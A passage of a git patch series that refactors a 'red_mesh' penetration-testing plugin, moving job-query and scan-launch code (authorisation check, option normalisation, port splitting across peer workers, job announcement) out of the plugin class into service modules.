job_specs["pass_reports"] = pass_reports[-5:] - - return { - "job_id": job_id, - "found": True, - "job": job_specs, - } + """Retrieve job data from CStore.""" + return get_job_data(self, job_id) @BasePlugin.endpoint def get_job_archive(self, job_id: str): - """ - Retrieve the full job archive from R1FS. - - For finalized/stopped jobs only. Returns the complete archive including - job config, all passes, timeline, and ui_aggregate in a single response. - - Parameters - ---------- - job_id : str - Identifier of the job. - - Returns - ------- - dict - Full archive or error. - """ - job_specs = self._get_job_from_cstore(job_id) - if not job_specs: - return {"error": "not_found", "message": f"Job {job_id} not found."} - - job_cid = job_specs.get("job_cid") - if not job_cid: - return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} - - archive = self.r1fs.get_json(job_cid) - if archive is None: - return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} - - try: - archive = JobArchive.from_dict(archive).to_dict() - except ValueError as exc: - return { - "error": "unsupported_archive_version", - "message": str(exc), - "job_id": job_id, - "job_cid": job_cid, - } - - # Integrity check: verify job_id matches - if archive.get("job_id") != job_id: - self.P( - f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", - color='r' - ) - return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} - - return {"job_id": job_id, "archive": archive} + """Retrieve the full job archive from R1FS.""" + return get_job_archive(self, job_id) @BasePlugin.endpoint def get_job_progress(self, job_id: str): - """ - Real-time progress for all workers in a job. - - Reads from the `:live` CStore hset and returns only entries - matching the requested job_id. - - Parameters - ---------- - job_id : str - Identifier of the job. - - Returns - ------- - dict - Workers progress keyed by worker address. - """ - live_hkey = f"{self.cfg_instance_id}:live" - all_progress = self.chainstore_hgetall(hkey=live_hkey) or {} - prefix = f"{job_id}:" - result = {} - for key, value in all_progress.items(): - if key.startswith(prefix) and value is not None: - worker_addr = key[len(prefix):] - result[worker_addr] = value - # Include job status so the frontend knows when to reload full data - job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - status = None - if isinstance(job_specs, dict): - status = job_specs.get("job_status") - scan_type = None - if isinstance(job_specs, dict): - scan_type = job_specs.get("scan_type") - return {"job_id": job_id, "status": status, "scan_type": scan_type, "workers": result} + """Real-time progress for all workers in a job.""" + return get_job_progress(self, job_id) @BasePlugin.endpoint def list_network_jobs(self): - """ - List all network jobs stored in CStore. - - Finalized stubs are returned as-is (already lightweight). - Running jobs are stripped of timeline, workers detail, and pass_reports - to keep the listing payload small. - - Returns - ------- - dict - Normalized job specs keyed by job_id. - """ - raw_network_jobs = self.chainstore_hgetall(hkey=self.cfg_instance_id) - normalized_jobs = {} - for job_key, job_spec in raw_network_jobs.items(): - normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) - if normalized_key and normalized_spec: - # Finalized stubs (have job_cid) — already small, return as-is - if normalized_spec.get("job_cid"): - normalized_jobs[normalized_key] = normalized_spec - continue - - # Running jobs — allowlist only listing-essential fields - normalized_jobs[normalized_key] = { - "job_id": normalized_spec.get("job_id"), - "job_status": normalized_spec.get("job_status"), - "target": normalized_spec.get("target"), - "scan_type": normalized_spec.get("scan_type", "network"), - "target_url": normalized_spec.get("target_url", ""), - "task_name": normalized_spec.get("task_name"), - "risk_score": normalized_spec.get("risk_score", 0), - "run_mode": normalized_spec.get("run_mode"), - "start_port": normalized_spec.get("start_port"), - "end_port": normalized_spec.get("end_port"), - "date_created": normalized_spec.get("date_created"), - "launcher": normalized_spec.get("launcher"), - "launcher_alias": normalized_spec.get("launcher_alias"), - "worker_count": len(normalized_spec.get("workers", {}) or {}), - "pass_count": len(normalized_spec.get("pass_reports", []) or []), - "job_pass": normalized_spec.get("job_pass", 1), - } - return normalized_jobs + """List all network jobs stored in CStore.""" + return list_network_jobs(self) @BasePlugin.endpoint def list_local_jobs(self): - """ - List jobs currently running on this worker. - - Returns - ------- - dict - Mapping job_id to status payload. - """ - jobs = { - job_id: self._get_job_status(job_id) - for job_id, local_workers in self.scan_jobs.items() - } - return jobs + """List jobs currently running on this worker.""" + return list_local_jobs(self) @BasePlugin.endpoint diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index ef260722..79c2c692 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,4 +1,11 @@ from .launch import launch_local_jobs +from .query import ( + get_job_archive, + get_job_data, + get_job_progress, + list_local_jobs, + list_network_jobs, +) from .scan_strategy import ( ScanStrategy, coerce_scan_type, @@ -21,9 +28,14 @@ "can_transition_job_status", "coerce_scan_type", "get_scan_strategy", + "get_job_archive", + "get_job_data", + "get_job_progress", "is_intermediate_job_status", "is_terminal_job_status", "iter_scan_strategies", "launch_local_jobs", + "list_local_jobs", + "list_network_jobs", "set_job_status", ] diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py new file mode 100644 index 00000000..5be90f33 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -0,0 +1,136 @@ +from ..models import JobArchive + + +def get_job_data(owner, job_id: str): + """ + Retrieve job data from CStore. + + Finalized/stopped jobs return the lightweight stub as-is. Running jobs keep + only the most recent pass report references to avoid large response payloads. + """ + job_specs = owner._get_job_from_cstore(job_id) + if not job_specs: + return { + "job_id": job_id, + "found": False, + "message": "Job not found in network store.", + } + + if job_specs.get("job_cid"): + return { + "job_id": job_id, + "found": True, + "job": job_specs, + } + + pass_reports = job_specs.get("pass_reports", []) + if isinstance(pass_reports, list) and len(pass_reports) > 5: + job_specs["pass_reports"] = pass_reports[-5:] + + return { + "job_id": job_id, + "found": True, + "job": job_specs, + } + + +def get_job_archive(owner, job_id: str): + """ + Retrieve the full archived job payload from R1FS for finalized jobs. + """ + job_specs = owner._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "not_found", "message": f"Job {job_id} not found."} + + job_cid = job_specs.get("job_cid") + if not job_cid: + return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} + + archive = owner.r1fs.get_json(job_cid) + if archive is None: + return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + + try: + archive = JobArchive.from_dict(archive).to_dict() + except ValueError as exc: + return { + "error": "unsupported_archive_version", + "message": str(exc), + "job_id": job_id, + "job_cid": job_cid, + } + + if archive.get("job_id") != job_id: + owner.P( + f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", + color='r' + ) + return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} + + return {"job_id": job_id, "archive": archive} + + +def get_job_progress(owner, job_id: str): + """ + Return real-time progress for all workers in the given job. + """ + live_hkey = f"{owner.cfg_instance_id}:live" + all_progress = owner.chainstore_hgetall(hkey=live_hkey) or {} + prefix = f"{job_id}:" + result = {} + for key, value in all_progress.items(): + if key.startswith(prefix) and value is not None: + worker_addr = key[len(prefix):] + result[worker_addr] = value + + job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + status = None + scan_type = None + if isinstance(job_specs, dict): + status = job_specs.get("job_status") + scan_type = job_specs.get("scan_type") + return {"job_id": job_id, "status": status, "scan_type": scan_type, "workers": result} + + +def list_network_jobs(owner): + """ + Return a normalized network-job listing from CStore. + """ + raw_network_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + normalized_jobs = {} + for job_key, job_spec in raw_network_jobs.items(): + normalized_key, normalized_spec = owner._normalize_job_record(job_key, job_spec) + if normalized_key and normalized_spec: + if normalized_spec.get("job_cid"): + normalized_jobs[normalized_key] = normalized_spec + continue + + normalized_jobs[normalized_key] = { + "job_id": normalized_spec.get("job_id"), + "job_status": normalized_spec.get("job_status"), + "target": normalized_spec.get("target"), + "scan_type": normalized_spec.get("scan_type", "network"), + "target_url": normalized_spec.get("target_url", ""), + "task_name": normalized_spec.get("task_name"), + "risk_score": normalized_spec.get("risk_score", 0), + "run_mode": normalized_spec.get("run_mode"), + "start_port": normalized_spec.get("start_port"), + "end_port": normalized_spec.get("end_port"), + "date_created": normalized_spec.get("date_created"), + "launcher": normalized_spec.get("launcher"), + "launcher_alias": normalized_spec.get("launcher_alias"), + "worker_count": len(normalized_spec.get("workers", {}) or {}), + "pass_count": len(normalized_spec.get("pass_reports", []) or []), + "job_pass": normalized_spec.get("job_pass", 1), + } + return normalized_jobs + + +def list_local_jobs(owner): + """ + Return jobs currently running on the local node. + """ + return { + job_id: owner._get_job_status(job_id) + for job_id, local_workers in owner.scan_jobs.items() + } From e95b7ea5649fb98bc439defb62e528f0dd727ead Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:58:34 +0000 Subject: [PATCH 071/114] refactor: extract redmesh launch services --- .../cybersec/red_mesh/pentester_api_01.py | 421 ++---------- .../cybersec/red_mesh/services/__init__.py | 24 + .../cybersec/red_mesh/services/launch_api.py | 642 ++++++++++++++++++ 3 files changed, 734 insertions(+), 353 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/launch_api.py diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index d9233ef8..73f62d5f 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -69,6 +69,9 @@ PHASE_MARKERS, ) from .services import ( + announce_launch, + build_network_workers, + build_webapp_workers, coerce_scan_type, get_job_archive, get_job_data, @@ -78,9 +81,17 @@ is_terminal_job_status, iter_scan_strategies, launch_local_jobs, + launch_network_scan, + launch_test, + launch_webapp_scan, list_local_jobs, list_network_jobs, + normalize_common_launch_options, + parse_exceptions, + resolve_active_peers, + resolve_enabled_features, set_job_status, + validation_error, ) # Human-readable phase labels for progress reporting @@ -1637,44 +1648,19 @@ def get_feature_catalog(self, scan_type: str = "all"): def _validation_error(self, message: str): """Return a consistent validation error payload.""" - return {"error": "validation_error", "message": message} + return validation_error(message) def _parse_exceptions(self, exceptions): """Normalize port-exception input to a list of ints.""" - if not exceptions: - return [] - if isinstance(exceptions, list): - return [int(x) for x in exceptions if str(x).isdigit()] - return [int(x) for x in self.re.findall(r'\d+', str(exceptions)) if x.isdigit()] + return parse_exceptions(self, exceptions) def _resolve_enabled_features(self, excluded_features, scan_type=ScanType.NETWORK.value): """Validate excluded features and derive enabled features for audit/config.""" - excluded_features = excluded_features or self.cfg_excluded_features or [] - all_features = self._get_all_features(scan_type=scan_type) - invalid = [f for f in excluded_features if f not in all_features] - if invalid: - self.P(f"Warning: Unknown features in excluded_features (ignored): {self.json_dumps(invalid)}") - excluded_features = [f for f in excluded_features if f in all_features] - enabled_features = [f for f in all_features if f not in excluded_features] - self.P(f"Excluded features: {self.json_dumps(excluded_features)}") - self.P(f"Enabled features: {self.json_dumps(enabled_features)}") - return excluded_features, enabled_features + return resolve_enabled_features(self, excluded_features, scan_type=scan_type) def _resolve_active_peers(self, selected_peers): """Validate selected peers against chainstore peers and return active peers.""" - chainstore_peers = self.cfg_chainstore_peers - if not chainstore_peers: - return None, self._validation_error("No workers found in chainstore peers configuration.") - - if selected_peers and len(selected_peers) > 0: - invalid_peers = [p for p in selected_peers if p not in chainstore_peers] - if invalid_peers: - return None, self._validation_error( - f"Invalid peer addresses not found in chainstore_peers: {invalid_peers}. " - f"Available peers: {chainstore_peers}" - ) - return selected_peers, None - return chainstore_peers, None + return resolve_active_peers(self, selected_peers) def _normalize_common_launch_options( self, @@ -1687,88 +1673,24 @@ def _normalize_common_launch_options( nr_local_workers, ): """Apply defaults and bounds to common launch settings.""" - distribution_strategy = str(distribution_strategy).upper() - if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: - distribution_strategy = self.cfg_distribution_strategy - - port_order = str(port_order).upper() - if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: - port_order = self.cfg_port_order - - run_mode = str(run_mode).upper() - if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: - run_mode = self.cfg_run_mode - if monitor_interval <= 0: - monitor_interval = self.cfg_monitor_interval - - if scan_min_delay <= 0: - scan_min_delay = self.cfg_scan_min_rnd_delay - if scan_max_delay <= 0: - scan_max_delay = self.cfg_scan_max_rnd_delay - if scan_min_delay > scan_max_delay: - scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay - - nr_local_workers = int(nr_local_workers) - if nr_local_workers <= 0: - nr_local_workers = self.cfg_nr_local_workers - nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) - - return { - "distribution_strategy": distribution_strategy, - "port_order": port_order, - "run_mode": run_mode, - "monitor_interval": monitor_interval, - "scan_min_delay": scan_min_delay, - "scan_max_delay": scan_max_delay, - "nr_local_workers": nr_local_workers, - } + return normalize_common_launch_options( + self, + distribution_strategy, + port_order, + run_mode, + monitor_interval, + scan_min_delay, + scan_max_delay, + nr_local_workers, + ) def _build_network_workers(self, active_peers, start_port, end_port, distribution_strategy): """Build peer assignments for network scans.""" - num_workers = len(active_peers) - if num_workers == 0: - return None, self._validation_error("No workers available for job execution.") - - workers = {} - if distribution_strategy == DISTRIBUTION_MIRROR: - for address in active_peers: - workers[address] = { - "start_port": start_port, - "end_port": end_port, - "finished": False, - "result": None, - } - return workers, None - - total_ports = end_port - start_port + 1 - base_ports_count = total_ports // num_workers - rem_ports_count = total_ports % num_workers - current_start = start_port - for i, address in enumerate(active_peers): - size = base_ports_count + 1 if i < rem_ports_count else base_ports_count - current_end = current_start + size - 1 - workers[address] = { - "start_port": current_start, - "end_port": current_end, - "finished": False, - "result": None, - } - current_start = current_end + 1 - return workers, None + return build_network_workers(self, active_peers, start_port, end_port, distribution_strategy) def _build_webapp_workers(self, active_peers, target_port): """Build peer assignments for webapp scans. Every peer gets the same target.""" - if not active_peers: - return None, self._validation_error("No workers available for job execution.") - workers = {} - for address in active_peers: - workers[address] = { - "start_port": target_port, - "end_port": target_port, - "finished": False, - "result": None, - } - return workers, None + return build_webapp_workers(self, active_peers, target_port) def _announce_launch( self, @@ -1809,44 +1731,30 @@ def _announce_launch( allow_stateful_probes, ): """Persist immutable config, announce job in CStore, and return launch response.""" - excluded_features, enabled_features = self._resolve_enabled_features( - excluded_features, - scan_type=scan_type, - ) - - if not scanner_identity: - scanner_identity = self.cfg_scanner_identity - if not scanner_user_agent: - scanner_user_agent = self.cfg_scanner_user_agent - - job_id = self.uuid(8) - self.P(f"Launching {job_id=} {target=} with {exceptions=}") - self.P(f"Announcing pentest to workers (instance_id {self.cfg_instance_id})...") - - job_config = JobConfig( + return announce_launch( + self, target=target, start_port=start_port, end_port=end_port, exceptions=exceptions, distribution_strategy=distribution_strategy, port_order=port_order, - nr_local_workers=nr_local_workers, - enabled_features=enabled_features, excluded_features=excluded_features, run_mode=run_mode, + monitor_interval=monitor_interval, scan_min_delay=scan_min_delay, scan_max_delay=scan_max_delay, - ics_safe_mode=ics_safe_mode, + task_name=task_name, + task_description=task_description, + active_peers=active_peers, + workers=workers, redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, scanner_identity=scanner_identity, scanner_user_agent=scanner_user_agent, - task_name=task_name, - task_description=task_description, - monitor_interval=monitor_interval, - selected_peers=active_peers, - created_by_name=created_by_name or "", - created_by_id=created_by_id or "", - authorized=True, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=nr_local_workers, scan_type=scan_type, target_url=target_url, official_username=official_username, @@ -1861,92 +1769,6 @@ def _announce_launch( allow_stateful_probes=allow_stateful_probes, ) - config_dict = job_config.to_dict() - job_config_cid = self.r1fs.add_json(config_dict, show_logs=False) - if not job_config_cid: - self.P("Failed to store job config in R1FS — aborting launch", color='r') - return {"error": "Failed to store job config in R1FS"} - - job_specs = { - "job_id": job_id, - "target": target, - "task_name": task_name, - "scan_type": scan_type, - "target_url": target_url, - "start_port": start_port, - "end_port": end_port, - "risk_score": 0, - "date_created": self.time(), - "launcher": self.ee_addr, - "launcher_alias": self.ee_id, - "timeline": [], - "workers": workers, - "job_status": JOB_STATUS_RUNNING, - "run_mode": run_mode, - "job_pass": 1, - "next_pass_at": None, - "pass_reports": [], - "job_config_cid": job_config_cid, - } - self._emit_timeline_event( - job_specs, "created", - f"Job created by {created_by_name}", - actor=created_by_name, - actor_type="user" - ) - self._emit_timeline_event(job_specs, "started", "Scan started", actor=self.ee_id, actor_type="node") - - try: - redmesh_job_start_attestation = self._submit_redmesh_job_start_attestation( - job_id=job_id, - job_specs=job_specs, - workers=workers, - ) - if redmesh_job_start_attestation is not None: - job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation - self._emit_timeline_event( - job_specs, "blockchain_submit", - "Job-start attestation submitted", - actor_type="system", - meta={**redmesh_job_start_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} - ) - except Exception as exc: - import traceback - self.P( - f"[ATTESTATION] Failed to submit job-start attestation for job {job_id}: {exc}\n" - f" Type: {type(exc).__name__}\n" - f" Args: {exc.args}\n" - f" Traceback:\n{traceback.format_exc()}", - color='r' - ) - - PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="launch_test") - - self._log_audit_event("scan_launched", { - "job_id": job_id, - "target": target, - "start_port": start_port, - "end_port": end_port, - "launcher": self.ee_addr, - "enabled_features_count": len(enabled_features), - "redact_credentials": redact_credentials, - "ics_safe_mode": ics_safe_mode, - }) - - all_network_jobs = self.chainstore_hgetall(hkey=self.cfg_instance_id) - report = {} - for other_key, other_spec in all_network_jobs.items(): - normalized_key, normalized_spec = self._normalize_job_record(other_key, other_spec) - if normalized_key and normalized_key != job_id: - report[normalized_key] = normalized_spec - - self.P(f"Current jobs:\n{self.json_dumps(all_network_jobs, indent=2)}") - return { - "job_specs": job_specs, - "worker": self.ee_addr, - "other_jobs": report, - } - @BasePlugin.endpoint(method="post") def launch_network_scan( self, @@ -1973,72 +1795,30 @@ def launch_network_scan( nr_local_workers: int = 0, ): """Launch a network scan using network-specific validation and worker slicing.""" - if not authorized: - return self._validation_error( - "Scan authorization required. Confirm you are authorized to scan this target." - ) - if not target: - return self._validation_error("target required for network scan") - - start_port = int(start_port) - end_port = int(end_port) - if start_port > end_port: - return self._validation_error("start_port must be less than end_port") - - options = self._normalize_common_launch_options( + return launch_network_scan( + self, + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, distribution_strategy=distribution_strategy, port_order=port_order, + excluded_features=excluded_features, run_mode=run_mode, monitor_interval=monitor_interval, scan_min_delay=scan_min_delay, scan_max_delay=scan_max_delay, - nr_local_workers=nr_local_workers, - ) - active_peers, peer_error = self._resolve_active_peers(selected_peers) - if peer_error: - return peer_error - - workers, worker_error = self._build_network_workers( - active_peers, start_port, end_port, options["distribution_strategy"] - ) - if worker_error: - return worker_error - - return self._announce_launch( - target=target, - start_port=start_port, - end_port=end_port, - exceptions=self._parse_exceptions(exceptions), - distribution_strategy=options["distribution_strategy"], - port_order=options["port_order"], - excluded_features=excluded_features, - run_mode=options["run_mode"], - monitor_interval=options["monitor_interval"], - scan_min_delay=options["scan_min_delay"], - scan_max_delay=options["scan_max_delay"], task_name=task_name, task_description=task_description, - active_peers=active_peers, - workers=workers, + selected_peers=selected_peers, redact_credentials=redact_credentials, ics_safe_mode=ics_safe_mode, scanner_identity=scanner_identity, scanner_user_agent=scanner_user_agent, + authorized=authorized, created_by_name=created_by_name, created_by_id=created_by_id, - nr_local_workers=options["nr_local_workers"], - scan_type=ScanType.NETWORK.value, - target_url="", - official_username="", - official_password="", - regular_username="", - regular_password="", - weak_candidates=None, - max_weak_attempts=5, - app_routes=None, - verify_tls=True, - target_config=None, - allow_stateful_probes=False, + nr_local_workers=nr_local_workers, ) @BasePlugin.endpoint(method="post") @@ -2072,65 +1852,24 @@ def launch_webapp_scan( allow_stateful_probes: bool = False, ): """Launch a graybox webapp scan using webapp-specific validation and mirrored worker assignment.""" - if not authorized: - return self._validation_error( - "Scan authorization required. Confirm you are authorized to scan this target." - ) - if not target_url: - return self._validation_error("target_url required for webapp scan") - if not official_username or not official_password: - return self._validation_error("official credentials required for webapp scan") - - from urllib.parse import urlparse as _urlparse - parsed = _urlparse(target_url) - if parsed.scheme not in ("http", "https") or not parsed.hostname: - return self._validation_error("target_url must be a valid http/https URL") - - target = parsed.hostname - target_port = parsed.port or (443 if parsed.scheme == "https" else 80) - - options = self._normalize_common_launch_options( - distribution_strategy=DISTRIBUTION_MIRROR, - port_order=PORT_ORDER_SEQUENTIAL, + return launch_webapp_scan( + self, + target_url=target_url, + excluded_features=excluded_features, run_mode=run_mode, monitor_interval=monitor_interval, scan_min_delay=scan_min_delay, scan_max_delay=scan_max_delay, - nr_local_workers=1, - ) - active_peers, peer_error = self._resolve_active_peers(selected_peers) - if peer_error: - return peer_error - - workers, worker_error = self._build_webapp_workers(active_peers, target_port) - if worker_error: - return worker_error - - return self._announce_launch( - target=target, - start_port=target_port, - end_port=target_port, - exceptions=[], - distribution_strategy=DISTRIBUTION_MIRROR, - port_order=PORT_ORDER_SEQUENTIAL, - excluded_features=excluded_features, - run_mode=options["run_mode"], - monitor_interval=options["monitor_interval"], - scan_min_delay=options["scan_min_delay"], - scan_max_delay=options["scan_max_delay"], task_name=task_name, task_description=task_description, - active_peers=active_peers, - workers=workers, + selected_peers=selected_peers, redact_credentials=redact_credentials, ics_safe_mode=ics_safe_mode, scanner_identity=scanner_identity, scanner_user_agent=scanner_user_agent, + authorized=authorized, created_by_name=created_by_name, created_by_id=created_by_id, - nr_local_workers=1, - scan_type=ScanType.WEBAPP.value, - target_url=target_url, official_username=official_username, official_password=official_password, regular_username=regular_username, @@ -2181,44 +1920,8 @@ def launch_test( allow_stateful_probes: bool = False, ): """Compatibility shim that routes to scan-type-specific launch endpoints.""" - try: - scan_type_enum = ScanType(scan_type) - except ValueError: - return self._validation_error( - f"Invalid scan_type: {scan_type}. Valid: {[e.value for e in ScanType]}" - ) - - if scan_type_enum == ScanType.WEBAPP: - return self.launch_webapp_scan( - target_url=target_url, - excluded_features=excluded_features, - run_mode=run_mode, - monitor_interval=monitor_interval, - scan_min_delay=scan_min_delay, - scan_max_delay=scan_max_delay, - task_name=task_name, - task_description=task_description, - selected_peers=selected_peers, - redact_credentials=redact_credentials, - ics_safe_mode=ics_safe_mode, - scanner_identity=scanner_identity, - scanner_user_agent=scanner_user_agent, - authorized=authorized, - created_by_name=created_by_name, - created_by_id=created_by_id, - official_username=official_username, - official_password=official_password, - regular_username=regular_username, - regular_password=regular_password, - weak_candidates=weak_candidates, - max_weak_attempts=max_weak_attempts, - app_routes=app_routes, - verify_tls=verify_tls, - target_config=target_config, - allow_stateful_probes=allow_stateful_probes, - ) - - return self.launch_network_scan( + return launch_test( + self, target=target, start_port=start_port, end_port=end_port, @@ -2241,6 +1944,18 @@ def launch_test( created_by_name=created_by_name, created_by_id=created_by_id, nr_local_workers=nr_local_workers, + scan_type=scan_type, + target_url=target_url, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, ) diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 79c2c692..99b2f913 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,4 +1,17 @@ from .launch import launch_local_jobs +from .launch_api import ( + announce_launch, + build_network_workers, + build_webapp_workers, + launch_network_scan, + launch_test, + launch_webapp_scan, + normalize_common_launch_options, + parse_exceptions, + resolve_active_peers, + resolve_enabled_features, + validation_error, +) from .query import ( get_job_archive, get_job_data, @@ -27,6 +40,9 @@ "TERMINAL_JOB_STATUSES", "can_transition_job_status", "coerce_scan_type", + "announce_launch", + "build_network_workers", + "build_webapp_workers", "get_scan_strategy", "get_job_archive", "get_job_data", @@ -35,7 +51,15 @@ "is_terminal_job_status", "iter_scan_strategies", "launch_local_jobs", + "launch_network_scan", + "launch_test", + "launch_webapp_scan", "list_local_jobs", "list_network_jobs", + "normalize_common_launch_options", + "parse_exceptions", + "resolve_active_peers", + "resolve_enabled_features", "set_job_status", + "validation_error", ] diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py new file mode 100644 index 00000000..8c448569 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -0,0 +1,642 @@ +from urllib.parse import urlparse + +from ..constants import ( + DISTRIBUTION_MIRROR, + DISTRIBUTION_SLICE, + JOB_STATUS_RUNNING, + LOCAL_WORKERS_MAX, + LOCAL_WORKERS_MIN, + PORT_ORDER_SEQUENTIAL, + PORT_ORDER_SHUFFLE, + RUN_MODE_CONTINUOUS_MONITORING, + RUN_MODE_SINGLEPASS, + ScanType, +) +from ..models import JobConfig + + +def validation_error(message: str): + """Return a consistent validation error payload.""" + return {"error": "validation_error", "message": message} + + +def parse_exceptions(owner, exceptions): + """Normalize port-exception input to a list of ints.""" + if not exceptions: + return [] + if isinstance(exceptions, list): + return [int(x) for x in exceptions if str(x).isdigit()] + return [int(x) for x in owner.re.findall(r"\d+", str(exceptions)) if x.isdigit()] + + +def resolve_enabled_features(owner, excluded_features, scan_type=ScanType.NETWORK.value): + """Validate excluded features and derive enabled features for audit/config.""" + excluded_features = excluded_features or owner.cfg_excluded_features or [] + all_features = owner._get_all_features(scan_type=scan_type) + invalid = [f for f in excluded_features if f not in all_features] + if invalid: + owner.P(f"Warning: Unknown features in excluded_features (ignored): {owner.json_dumps(invalid)}") + excluded_features = [f for f in excluded_features if f in all_features] + enabled_features = [f for f in all_features if f not in excluded_features] + owner.P(f"Excluded features: {owner.json_dumps(excluded_features)}") + owner.P(f"Enabled features: {owner.json_dumps(enabled_features)}") + return excluded_features, enabled_features + + +def resolve_active_peers(owner, selected_peers): + """Validate selected peers against chainstore peers and return active peers.""" + chainstore_peers = owner.cfg_chainstore_peers + if not chainstore_peers: + return None, validation_error("No workers found in chainstore peers configuration.") + + if selected_peers and len(selected_peers) > 0: + invalid_peers = [p for p in selected_peers if p not in chainstore_peers] + if invalid_peers: + return None, validation_error( + f"Invalid peer addresses not found in chainstore_peers: {invalid_peers}. " + f"Available peers: {chainstore_peers}" + ) + return selected_peers, None + return chainstore_peers, None + + +def normalize_common_launch_options( + owner, + distribution_strategy, + port_order, + run_mode, + monitor_interval, + scan_min_delay, + scan_max_delay, + nr_local_workers, +): + """Apply defaults and bounds to common launch settings.""" + distribution_strategy = str(distribution_strategy).upper() + if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: + distribution_strategy = owner.cfg_distribution_strategy + + port_order = str(port_order).upper() + if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: + port_order = owner.cfg_port_order + + run_mode = str(run_mode).upper() + if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: + run_mode = owner.cfg_run_mode + if monitor_interval <= 0: + monitor_interval = owner.cfg_monitor_interval + + if scan_min_delay <= 0: + scan_min_delay = owner.cfg_scan_min_rnd_delay + if scan_max_delay <= 0: + scan_max_delay = owner.cfg_scan_max_rnd_delay + if scan_min_delay > scan_max_delay: + scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay + + nr_local_workers = int(nr_local_workers) + if nr_local_workers <= 0: + nr_local_workers = owner.cfg_nr_local_workers + nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) + + return { + "distribution_strategy": distribution_strategy, + "port_order": port_order, + "run_mode": run_mode, + "monitor_interval": monitor_interval, + "scan_min_delay": scan_min_delay, + "scan_max_delay": scan_max_delay, + "nr_local_workers": nr_local_workers, + } + + +def build_network_workers(owner, active_peers, start_port, end_port, distribution_strategy): + """Build peer assignments for network scans.""" + num_workers = len(active_peers) + if num_workers == 0: + return None, validation_error("No workers available for job execution.") + + workers = {} + if distribution_strategy == DISTRIBUTION_MIRROR: + for address in active_peers: + workers[address] = { + "start_port": start_port, + "end_port": end_port, + "finished": False, + "result": None, + } + return workers, None + + total_ports = end_port - start_port + 1 + base_ports_count = total_ports // num_workers + rem_ports_count = total_ports % num_workers + current_start = start_port + for i, address in enumerate(active_peers): + size = base_ports_count + 1 if i < rem_ports_count else base_ports_count + current_end = current_start + size - 1 + workers[address] = { + "start_port": current_start, + "end_port": current_end, + "finished": False, + "result": None, + } + current_start = current_end + 1 + return workers, None + + +def build_webapp_workers(owner, active_peers, target_port): + """Build peer assignments for webapp scans. Every peer gets the same target.""" + if not active_peers: + return None, validation_error("No workers available for job execution.") + workers = {} + for address in active_peers: + workers[address] = { + "start_port": target_port, + "end_port": target_port, + "finished": False, + "result": None, + } + return workers, None + + +def announce_launch( + owner, + *, + target, + start_port, + end_port, + exceptions, + distribution_strategy, + port_order, + excluded_features, + run_mode, + monitor_interval, + scan_min_delay, + scan_max_delay, + task_name, + task_description, + active_peers, + workers, + redact_credentials, + ics_safe_mode, + scanner_identity, + scanner_user_agent, + created_by_name, + created_by_id, + nr_local_workers, + scan_type, + target_url, + official_username, + official_password, + regular_username, + regular_password, + weak_candidates, + max_weak_attempts, + app_routes, + verify_tls, + target_config, + allow_stateful_probes, +): + """Persist immutable config, announce job in CStore, and return launch response.""" + excluded_features, enabled_features = resolve_enabled_features( + owner, + excluded_features, + 